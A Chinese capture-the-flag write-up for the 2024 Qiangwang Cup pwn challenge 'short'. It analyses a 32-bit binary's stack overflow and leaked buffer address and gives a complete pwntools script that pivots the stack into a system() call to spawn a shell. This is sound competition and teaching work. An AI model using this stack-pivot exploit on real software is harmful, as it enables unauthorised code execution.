这时2024强网杯的pwn部分的short的WP

分析以下程序的基本安全措施

*] '/home/ysly/solve/tmp/short'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

除了NX其他都没有

接下来放到ghidra里分析以下漏洞,主要寻找read,gets,之类的输入函数

先看一下主入口逻辑,判断输入点

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 main(void)

{
int iVar1;
undefined *puVar2; puVar2 = &stack0x00000004;
setbuf(_stdout,(char *)0x0);
setbuf(_stderr,(char *)0x0);
iVar1 = login(puVar2);
if (iVar1 == 0) {
puts("Login failed. Incorrect username or password.");
}
else {
vuln();
}
return 0;
}

此处有登陆,只有成功之后才可以继续执行,所以为了有利用可能,去看看登陆逻辑

undefined4 login(void)

{
size_t sVar1;
int iVar2;
char local_8c [64];
char local_4c [68]; printf("Enter your username: ");
fgets(local_4c,0x40,_stdin);
sVar1 = strcspn(local_4c,"\n");
local_4c[sVar1] = '\0';
printf("Enter your password: ");
fgets(local_8c,0x40,_stdin);
sVar1 = strcspn(local_8c,"\n");
local_8c[sVar1] = '\0';
iVar2 = strcmp(local_4c,"admin");
if ((iVar2 == 0) && (iVar2 = strcmp(local_8c,"admin123"), iVar2 == 0)) {
return 1;
}
return 0;
}

很明显输入用户名admin,密码admin123即可登陆成功

在去vuln函数看看


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */ void vuln(void) {
undefined buf [76]; puts("You are now in vuln! Please enter extra data:");
printf("You will input this: %p\n",buf);
puts("plz input your msg:\n");
read(0,buf,88);
return;
}

可以读入88个字节,单数buff有76个字节,所以有88-76=12个字节溢出 12 = 4+4+4 分别可以覆盖ebp,ret,extra 4字节

但是这里是静态分析,只可以参考(实际上只可以覆盖到ret地址)

查看其他函数

发现一个gift函数


undefined4 gift(char *param_1) {
system(param_1);
return 0;
}

如果可以控制参数,便可得到shell

下面动态分析

在vuln函数中

printf("You will input this: %p\n",buf);

泄漏了ebp地址,毕竟函数的变量都是ebp-x 来寻址的,所以buf的地址一定是buf - x , 而x是一个固定的指,于是可以泄漏出ebp的地址

from pwn import *

context.log_level='debug'
context.terminal='foot' p = process("./short")
# 登陆
p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
#不要第一行
p.recvline() #一些处理,获得buff地址
raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16) # 静态分析buff地址是有一个0x50偏移,
ebp = raw-0x50 print("leak ebp",hex(ebp))

这里发现可以输入0x58个数据,从ebp-0x50开始输入

  0x8048660 <vuln+79>    push   0x58
► 0x8048662 <vuln+81> lea eax, [ebp - 0x50] EAX => 0xffffc878 —▸ 0xf7fc1440 ◂— 0xf7fc1440
0x8048665 <vuln+84> push eax
0x8048666 <vuln+85> push 0
0x8048668 <vuln+87> call read@plt <read@plt>

于是我们可以控制leven 是ebp地址和ret是的rip地址

这里在想到了用栈迁移

因为前面gift函数,看一下汇编部分

   0x80485e6 <gift>:	push   ebp
0x80485e7 <gift+1>: mov ebp,esp
0x80485e9 <gift+3>: push ebx
0x80485ea <gift+4>: sub esp,0x4
0x80485ed <gift+7>: call 0x80487e1 <__x86.get_pc_thunk.ax>
0x80485f2 <gift+12>: add eax,0x1a0e
0x80485f7 <gift+17>: sub esp,0xc
0x80485fa <gift+20>: push DWORD PTR [ebp+0x8]
0x80485fd <gift+23>: mov ebx,eax
0x80485ff <gift+25>: call 0x80484a0 <system@plt>
0x8048604 <gift+30>: add esp,0x10
0x8048607 <gift+33>: mov eax,0x0
0x804860c <gift+38>: mov ebx,DWORD PTR [ebp-0x4]
0x804860f <gift+41>: leave
0x8048610 <gift+42>: ret

在call system之前是将ebp + 0x8 作为参数的

在执行leven 和ret后,ebp和eip可以被控制

现在我们可以控制eip和ebp

于是我们可以伪造一个ebp使得epb+8指向/bin/sh

并且让eip去执行这个call,就可以得到shell

现在攻击链如下

1.劫持ebp,eip

2.找到/bin/sh

3.执行call system

因为之前通过泄漏知道了buff的地址,我们可以向buff写入/bin/sh,然后就一切顺利

以下是全部的wp

from pwn import *

context.log_level='debug'
context.terminal='foot' p = process("./short") p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
# free junk
p.recvline() raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16) ebp = raw-0x50 print("leak ebp",hex(ebp)) sh_addr =0x0804a038 fake_ebp = raw -8 payload = p32(sh_addr)+b'A'*(0x50-4)+p32(fake_ebp)+p32(0x080485fa) #gdb.attach(p)
#pause() p.send(payload)
p.interactive()

在程序中存在/bin/sh字符,为什么我不用呢

因为我用过,打不通,暂时不清楚为什么

2024强网杯pwn short wp的更多相关文章

  1. 强网杯2018 pwn复现

    前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...

  2. 2019强网杯babybank wp及浅析

    前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...

  3. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

  4. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...

  5. 强网杯web之假的反序列化漏洞

    说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...

  6. 从2021强网杯的一道题学习docx文件操作

    [强网先锋]寻宝 啊对就是这道题,大佬们都贼快,菜如我还得慢慢整 key1 大佬们都一笔带过,哎,虽然简单,但是也别这么虐我们啊 我来简单写一下吧 <?php header('Content-t ...

  7. 第二届强网杯-simplecheck

    这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...

  8. 2019 第三届强网杯线上赛部分web复现

    0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...

  9. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  10. 细说强网杯Web辅助

    本文首发于“合天智汇”公众号 作者:Ch3ng 这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程 题目源码 index.php 获取我们传入的user ...

随机推荐

  1. 零基础学习人工智能—Python—Pytorch学习(二)

    前言 数学的学习跟数学的计算是要分开的,现在回头再去看大学的高数和线性代数,如果只是学习的话,其实一门课程3天,也就学完了. 学校的课程之所以上那么久,其实是为了考试,也就是为计算准备的.计算有意义的 ...

  2. [学习笔记] 丢番图方程 & 同余 & 逆元 - 数论

    首先,他们几个有着极大的相似性.另外,他们的各自的思想都能够很好的服务于另外几个,有助于加深理解. 文中有些letax公式抽风了,全屏之后应该能看得见-- 线性丢番图方程 丢番图不是个图啊!他是个ma ...

  3. SMU 2024 spring 天梯赛自主训练1

    SMU 2024 spring 天梯赛自主训练1 7-1 宇宙无敌大招呼 - SMU 2024 spring 天梯赛自主训练1 (pintia.cn) #include <bits/stdc++ ...

  4. quartz监控日志(二)添加监听器

    上一章介绍监控job有三种方案,其实还有一个简单方案是实现quartz的TriggerListener. 上次我也试了这个方案,但是由于操作错误,导致没有监控成功,所以才选择分析源码来实现代理进行监控 ...

  5. quartz监控日志(一)

    最近几个月,现网总是出现定时器不执行的情况,或者定时器卡死的情况,而又不方便排查,只能依靠quartz的debug日志以及错误日志来监控定时器的执行情况,并且随着我们系统中job越来越多,而使得job ...

  6. 【CMake系列】06-项目结构与输出路径管理

    为了对大型项目实现更好的管理[模块化协作开发等等],cmake 提供了很多指令,可以对项目的结构进行调整.管理,便于项目的合理规划.本文我们要学习的就是 项目结构的设置,以及 构建程序等 输出路径的设 ...

  7. Axure 0基础实战入门 模拟一个app页面

    Axure 0基础实战入门 模拟一个app页面 第一次接触axure9,尝试模拟一个app页面与交互 页面原型 我选择了一个免费的日程app,下载rp文件后导入到axure 模拟实现登录页面 新建两个 ...

  8. Vue elementui 进度条随机颜色

    项目要求显示进度条,而且进度条的颜色不能重复,所以就有了随机进度条的想法. 实现的最终效果: <el-table-column header-align="center" a ...

  9. 一个操作系统的设计与实现——第19章 IA32-e模式

    19.1 64位段描述符与GDT 在32位操作系统中,我们使用的是平坦模型而非分段模型,从而,段描述符的段基址和段限长均成了摆设.在64位模式下,就连CPU也淘汰了分段模型,转而固定使用平坦模型. 6 ...

  10. 全网最适合入门的面向对象编程教程:44 Python内置函数与魔法方法-重写内置类型的魔法方法

    全网最适合入门的面向对象编程教程:44 Python 内置函数与魔法方法-重写内置类型的魔法方法 摘要: 在 Python 中,内置类型的行为是通过一组特殊的"魔法方法"来实现的, ...